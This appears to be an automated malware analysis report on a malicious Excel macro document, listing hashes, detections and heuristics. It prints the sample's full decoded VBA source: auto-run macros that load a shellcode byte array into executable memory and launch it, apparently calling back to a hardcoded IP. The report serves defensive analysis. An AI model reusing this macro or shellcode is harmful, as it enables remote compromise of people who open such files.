Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ea580794c04a14fb…

MALICIOUS

Office (OLE)

33.0 KB Created: 2018-07-12 08:11:27 Authoring application: Microsoft Excel First seen: 2019-08-04
MD5: d3143fd3a85970d86a0794ea0c185e82 SHA-1: 2a4d76f41fb1eb249f15dd69c7b9f1d03b0fb938 SHA-256: ea580794c04a14fb757eb02f2c5f864951e667a9746782ef8e0eb9bb708c977f
164 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Excel document containing VBA macros, including Auto_Open and Workbook_Open, which are commonly used to initiate malicious execution upon opening. The presence of VirtualAlloc API calls and the ClamAV detection signature 'Doc.Dropper.Valyria-6680543-0' strongly indicate that this macro is intended to download and execute a secondary payload. The VBA code references `CreateThread` and `VirtualAlloc`, suggesting the execution of shellcode or a downloaded executable.

Heuristics 7

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim Lkhecwgbm As Long, Opg As Variant, Hzaiqtw As Long
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3743 bytes
SHA-256: 1d4b6ba19553f01a9f77f26e49e49c6d9725ca9fff686e070f096b892a0c4c92
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Cpzghwx As Long, ByVal Ynnzutc As Long, ByVal Iplsb As LongPtr, Qisaohc As Long, ByVal Wwoz As Long, Mwf As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Lwjcicktf As Long, ByVal Dubvxrus As Long, ByVal Lmfgvyxir As Long, ByVal Xdo As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Jnqkgj As LongPtr, ByRef Yrfwdho As Any, ByVal Jiuxmx As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Cpzghwx As Long, ByVal Ynnzutc As Long, ByVal Iplsb As Long, Qisaohc As Long, ByVal Wwoz As Long, Mwf As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Lwjcicktf As Long, ByVal Dubvxrus As Long, ByVal Lmfgvyxir As Long, ByVal Xdo As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Jnqkgj As Long, ByRef Yrfwdho As Any, ByVal Jiuxmx As Long) As Long
#End If

Sub Auto_Open()
    Dim Lkhecwgbm As Long, Opg As Variant, Hzaiqtw As Long
#If VBA7 Then
    Dim Zzd As LongPtr, Czqpmyykw As LongPtr
#Else
    Dim Zzd As Long, Czqpmyykw As Long
#End If
    Opg = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 51, 50, 0, 0, 104, 119, 115, 50, 95, 84, 104, 76, 119, 38, 7, 137, 232, 255, 208, 184, 144, 1, 0, _
0, 41, 196, 84, 80, 104, 41, 128, 107, 0, 255, 213, 106, 10, 104, 192, 168, 60, 52, 104, 2, 0, 1, 187, 137, 230, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 10, 255, 78, 8, 117, 236, 232, 103, 0, 0, 0, 106, 0, 106, 4, 86, 87, 104, 2, 217, 200, 95, 255, 213, _
131, 248, 0, 126, 54, 139, 54, 106, 64, 104, 0, 16, 0, 0, 86, 106, 0, 104, 88, 164, 83, 229, 255, 213, 147, 83, 106, 0, 86, 83, 87, 104, 2, 217, 200, 95, 255, 213, 131, 248, 0, 125, 40, 88, 104, 0, 64, 0, 0, 106, 0, 80, 104, 11, 47, 15, 48, 255, 213, 87, 104, 117, 110, 77, 97, 255, 213, 94, 94, 255, 12, 36, 15, 133, 112, 255, 255, 255, 233, 155, _
255, 255, 255, 1, 195, 41, 198, 117, 193, 195, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213)

    Zzd = VirtualAlloc(0, UBound(Opg), &H1000, &H40)
    For Hzaiqtw = LBound(Opg) To UBound(Opg)
        Lkhecwgbm = Opg(Hzaiqtw)
        Czqpmyykw = RtlMoveMemory(Zzd + Hzaiqtw, Lkhecwgbm, 1)
    Next Hzaiqtw
    Czqpmyykw = CreateThread(0, 0, Zzd, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

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